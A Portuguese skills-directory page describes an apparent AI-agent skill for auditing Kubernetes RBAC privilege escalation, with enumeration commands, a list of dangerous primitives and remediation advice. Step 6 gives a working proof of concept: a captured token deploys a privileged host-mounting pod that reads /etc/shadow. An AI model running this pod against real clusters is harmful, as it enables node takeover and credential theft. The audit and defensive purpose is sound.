Communitygithub.com

auditoria-de-escalonamento-de-privilegios-rbac-no-kubernetes

Habilita auditores de segurança e pentesters a identificarem sistematicamente permissões efetivas de cada sujeito em um cluster Kubernetes, mapear quais sujeitos possuem primitivas de escalonamento de privilégios (como escalar, vincular, personificar, criar pods, ler secrets) e produzir evidências claras de remediação.

O que é auditoria-de-escalonamento-de-privilegios-rbac-no-kubernetes?

Esta skill é uma ferramenta completa para auditoria de segurança de RBAC (Role-Based Access Control) no Kubernetes, voltada para testadores de penetração autorizados, administradores de cluster e analistas de segurança. Ela permite que você: (1) faça o inventário de todos os objetos RBAC (Roles, ClusterRoles, RoleBindings, ClusterRoleBindings), (2) enumere permissões efetivas para cada sujeito (como contas de serviço, usuários) usando kubectl auth can-i e ferramentas de matriz de acesso como rakkess, (3) identifique sujeitos que detêm primitivas perigosas (escalar, vincular, personificar, criar pods, ler secrets) que são consideradas 'equivalentes a cluster-admin', (4) rastreie pods que montam tokens de contas de serviço superprivilegiadas usando escapes de host, e (5) produza um relatório de descobertas priorizadas com recomendações de remediação de menor privilégio. Ela inclui integração com ferramentas de automação como rbac-police (Cymulate) e kubectl-who-can (Aqua Security). A skill é projetada para ser usada durante avaliações de segurança Kubernetes, após comprometer um pod para determinar o alcance do seu token, revisar derivações de RBAC antes de implantações de produção, ou após migrações de plataforma. Suporta workflows de linha de comando passo a passo que vão desde a enumeração inicial até a demonstração (em laboratório) de um caminho de escalonamento completo, incluindo preparação de um pod privilegiado que monta o sistema de arquivos do host.

Funciona com~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/auditing-kubernetes-rbac-privilege-escalation

Perguntar na sua IA favorita

Abre um novo chat com esta habilidade de agente já pré-carregada.

Documentação

Auditoria de Escalonamento de Privilégios RBAC no Kubernetes

Aviso Legal: Esta skill é apenas para testes de segurança autorizados e fins educacionais. Enumerar e exercitar permissões RBAC afeta a postura de acesso de um cluster ativo. Teste apenas clusters que você possui ou para os quais está explicitamente autorizado por escrito.

Visão Geral

O Controle de Acesso Baseado em Funções (Role-Based Access Control, RBAC) do Kubernetes (MITRE ATT&CK T1078 - Contas Válidas) governa o que cada usuário e conta de serviço pode fazer por meio de regras Role/ClusterRole vinculadas por RoleBinding/ClusterRoleBinding. Como as cargas de trabalho são executadas com um token de conta de serviço montado por padrão, um invasor que comprometa um pod herda os direitos RBAC dessa conta. Ligações excessivamente permissivas transformam um único pod comprometido em uma tomada de controle do cluster: certos verbos e recursos são "equivalentes a cluster-admin no RBAC".

De acordo com as diretrizes "Boas Práticas de RBAC" do Kubernetes e pesquisas da Unit 42, as primitivas perigosas são:

  • escalate em roles — concede a si mesmo qualquer permissão, mesmo aquelas que você não possui.
  • bind em clusterroles — cria uma ligação para cluster-admin.
  • impersonate em usuários/grupos/contas de serviço — age como qualquer assunto, incluindo system:masters.
  • create/update/patch em pods — agenda um pod privilegiado ou monta o nó, escapando para o host (T1611).
  • create em pods/exec, pods/attach, pods/ephemeralcontainers — executa código em qualquer pod existente.
  • get/list/watch em secrets — listar retorna o conteúdo completo dos secrets, incluindo tokens de outras contas de serviço.
  • create em serviceaccounts/token — cunha tokens para contas mais privilegiadas.
  • update/patch em validatingwebhookconfigurations/mutatingwebhookconfigurations, nodes/proxy, certificatesigningrequests/approval — abuso de admissão/CSR para cluster-admin.
  • Wildcards (verbs: ["*"], resources: ["*"]) — superprivilégio implícito.

Esta skill enumera sistematicamente as permissões efetivas para cada sujeito, mapeia quais sujeitos possuem essas primitivas de escalonamento e produz evidências de remediação. Fonte: Kubernetes RBAC Good Practices; Pesquisa Unit 42 sobre RBAC no Kubernetes.

Quando Usar

  • Durante uma avaliação de segurança Kubernetes autorizada ou teste de penetração em cluster
  • Após comprometer um pod, para determinar o que seu token de conta de serviço pode alcançar
  • Ao revisar derivações de RBAC antes de uma implantação em produção
  • Ao validar o menor privilégio após uma migração de plataforma ou rollout do Helm

Pré-requisitos

  • kubectl configurado contra o cluster alvo (suas próprias credenciais ou um token de conta de serviço capturado)
  • Acesso de leitura a objetos RBAC (a maioria das auditorias é executada com um contexto cluster-reader ou admin)
  • Ferramentas de auditoria:
    # rbac-police - encontra caminhos de escalonamento (Cymulate)
    curl -L https://github.com/PaloAltoNetworks/rbac-police/releases/latest/download/rbac-police-linux-amd64 -o rbac-police
    chmod +x rbac-police
    
    # kubectl-who-can - quais sujeitos podem executar uma ação (Aqua)
    kubectl krew install who-can
    
    # rakkess - matriz de acesso de recursos x verbos para o sujeito atual/outro
    kubectl krew install access-matrix
    
    # rbac-lookup - quais funções um sujeito possui (FairwindsOps)
    kubectl krew install rbac-lookup
    

Objetivos

  • Inventariar todos os objetos Role, ClusterRole, RoleBinding e ClusterRoleBinding
  • Enumerar permissões efetivas por sujeito usando kubectl auth can-i --as
  • Identificar sujeitos que possuem primitivas equivalentes a admin RBAC
  • Rastrear pods que montam tokens para contas de serviço superprivilegiadas
  • Demonstrar (em laboratório) um caminho de escalonamento completo
  • Gerar um relatório de descobertas priorizadas com remediação de menor privilégio

Mapeamento MITRE ATT&CK

ID da TécnicaNomeTática
T1078Contas VálidasEvasão de Defesa / Persistência / Escalonamento de Privilégio
T1098Manipulação de ContaPersistência
T1528Roubo de Token de Acesso de AplicativoAcesso a Credenciais
T1613Descoberta de Contêiner e RecursoDescoberta
T1611Fuga para o HostEscalonamento de Privilégio

Fluxo de Trabalho

Etapa 1: Inventariar Objetos RBAC

# Todas as funções e ligações, em todo o cluster
kubectl get clusterroles,clusterrolebindings -o wide
kubectl get roles,rolebindings --all-namespaces -o wide

# Despejar todo o RBAC para análise offline
kubectl get clusterroles,clusterrolebindings,roles,rolebindings \
  --all-namespaces -o yaml > rbac-dump.yaml

# Quem está vinculado ao cluster-admin?
kubectl get clusterrolebindings -o json | \
  jq -r '.items[] | select(.roleRef.name=="cluster-admin") |
         .metadata.name + " -> " + (.subjects // [] | map(.kind+"/"+.name) | join(","))'

Etapa 2: Enumerar Permissões Efetivas por Sujeito

kubectl auth can-i é a verificação autoritativa porque avalia o autorizador ativo (RBAC + webhooks). Use --as para personificar um sujeito (requer direitos de personificação para a identidade de auditoria).

# Matriz de acesso completa para uma conta de serviço
kubectl auth can-i --list \
  --as=system:serviceaccount:default:default

# Sondagens de permissões perigosas direcionadas
kubectl auth can-i create pods --all-namespaces \
  --as=system:serviceaccount:dev:builder
kubectl auth can-i get secrets --all-namespaces \
  --as=system:serviceaccount:dev:builder
kubectl auth can-i create serviceaccounts/token -n kube-system \
  --as=system:serviceaccount:dev:builder
kubectl auth can-i '*' '*' --all-namespaces \
  --as=system:serviceaccount:dev:builder

# Matriz completa de verbos x recursos do rakkess para um sujeito
kubectl access-matrix --as system:serviceaccount:dev:builder

Etapa 3: Caçar as Primitivas de Escalonamento

# Quem pode realizar cada ação perigosa em todo o cluster?
kubectl who-can create pods
kubectl who-can '*' '*'                      # detentores do modo deus wildcard
kubectl who-can get secrets
kubectl who-can list secrets
kubectl who-can create pods/exec
kubectl who-can impersonate users
kubectl who-can create serviceaccounts/token
kubectl who-can update clusterrolebindings   # escalonamento estilo bind

# grep no despejo bruto para verbos de escalar/ligar/personificar e wildcards
grep -nE 'escalate|impersonate|"\*"|- bind' rbac-dump.yaml

Etapa 4: Executar Análise Automatizada de Caminhos de Escalonamento com rbac-police

rbac-police avalia políticas Rego sobre um snapshot do cluster para identificar princípios que podem escalar para cluster-admin e o caminho exato.

# Executar todas as verificações de escalonamento embutidas (requer um kubeconfig com acesso de leitura)
./rbac-police eval ./lib/policies/

# Apenas a política de escalonamento de privilégio, descobertas severas como JSON
./rbac-police eval ./lib/policies/can_escalate.rego -f json -o findings.json

# Coletar um snapshot primeiro (análise offline / revisão em ambiente isolado)
./rbac-police collect -o cluster-snapshot.json
./rbac-police eval ./lib/policies/ --collect-results cluster-snapshot.json

Etapa 5: Rastrear Pods para Contas de Serviço Superprivilegiadas

Uma descoberta só importa se uma carga de trabalho alcançável montar esse token.

# Mapear cada pod para sua conta de serviço
kubectl get pods --all-namespaces \
  -o custom-columns='NS:.metadata.namespace,POD:.metadata.name,SA:.metadata.spec.serviceAccountName'

# Encontrar pods que montam tokens automaticamente (o padrão) vinculados a SAs de risco
kubectl get pods --all-namespaces -o json | jq -r '
  .items[] | select(.spec.automountServiceAccountToken != false) |
  "\(.metadata.namespace)/\(.metadata.name) -> \(.spec.serviceAccountName // "default")"'

# rbac-lookup: o que essa conta de serviço realmente possui?
kubectl rbac-lookup builder --kind serviceaccount

Etapa 6: Demonstrar um Caminho de Escalonamento (Apenas em Laboratório)

Exemplo: uma conta de serviço com create pods e acesso a um nó pode agendar um pod privilegiado que monta o sistema de arquivos do host.

# Usando um token capturado, direcionar o servidor da API diretamente
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export APISERVER=https://kubernetes.default.svc

# Confirmar o direito perigoso
kubectl --token="$TOKEN" --server="$APISERVER" --insecure-skip-tls-verify \
  auth can-i create pods

# Agendar um pod privilegiado que monta o host (prova de tomada de nó/host)
cat <<'EOF' | kubectl --token="$TOKEN" --server="$APISERVER" \
  --insecure-skip-tls-verify apply -f -
apiVersion: v1
kind: Pod
metadata: {name: escalate-poc, namespace: default}
spec:
  containers:
  - name: x
    image: alpine
    command: ["/bin/sh","-c","cat /host/etc/shadow; sleep 1d"]
    securityContext: {privileged: true}
    volumeMounts: [{name: host, mountPath: /host}]
  volumes: [{name: host, hostPath: {path: /}}]
EOF
kubectl logs escalate-poc   # /etc/shadow do host prova o escalonamento

Etapa 7: Relatar e Remediar

# Gerar um resumo de violação do menor privilégio
kubectl get clusterrolebindings -o json | jq -r '
  .items[] | select(.roleRef.name=="cluster-admin") |
  "DESCOBERTA cluster-admin vinculado a: " +
  ((.subjects // []) | map(.kind+":"+.name) | join(", "))'

Remediação: substitua wildcards por verbos/recursos explícitos; remova escalate/bind/impersonate a menos que necessário; defina automountServiceAccountToken: false em cargas de trabalho que não chamam a API; prefira Role (com namespace) em vez de ClusterRole quando possível; use aggregationRule com cuidado.

Ferramentas e Recursos

FerramentaPropósitoFonte
kubectl auth can-iVerificação de permissão ao vivo autoritativa (--list, --as)https://kubernetes.io/docs/reference/access-authn-authz/authorization/
rbac-policeAnálise de caminho de escalonamento baseada em Regohttps://github.com/PaloAltoNetworks/rbac-police
kubectl-who-canPesquisa reversa: quem pode fazer Xhttps://github.com/aquasecurity/kubectl-who-can
rakkess (access-matrix)Matriz de verbos x recursos por sujeitohttps://github.com/corneliusweig/rakkess
rbac-lookupFunções que um sujeito possuihttps://github.com/FairwindsOps/rbac-lookup
Boas Práticas de RBAC do KubernetesLista autoritativa de primitivas de escalonamentohttps://kubernetes.io/docs/concepts/security/rbac-good-practices/

Referência de Primitivas de RBAC Perigosas

Verbo / RecursoPor que é Equivalente a Cluster-Admin
escalate em rolesConcede a si mesmo qualquer permissão
bind em clusterrolesVincula a si mesmo a cluster-admin
impersonate em usuários/gruposAge como system:masters
create pods (+ acesso a nó)Pod privilegiado/hostPath -> tomada de host
create pods/exec,pods/attachExecuta código em pods existentes
get/list de secretsLê todos os tokens e credenciais
create serviceaccounts/tokenCunha tokens privilegiados
*/* (wildcards)Superprivilégio implícito

Critérios de Validação

  • Todos os objetos Role/ClusterRole/Binding inventariados e despejados
  • Lista de sujeitos cluster-admin enumerada
  • Permissões efetivas enumeradas por conta de serviço via auth can-i --list
  • Todos os detentores de primitivas perigosas identificados (escalar/vincular/personificar/secrets/pods)
  • Caminhos de escalonamento do rbac-police revisados
  • Pods que montam tokens mapeados para contas de serviço de risco
  • Pelo menos um caminho de escalonamento demonstrado em laboratório
  • Relatório de descobertas com remediação de menor privilégio produzido
  • Todos os testes permaneceram dentro do escopo autorizado

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

Habilidades Relacionadas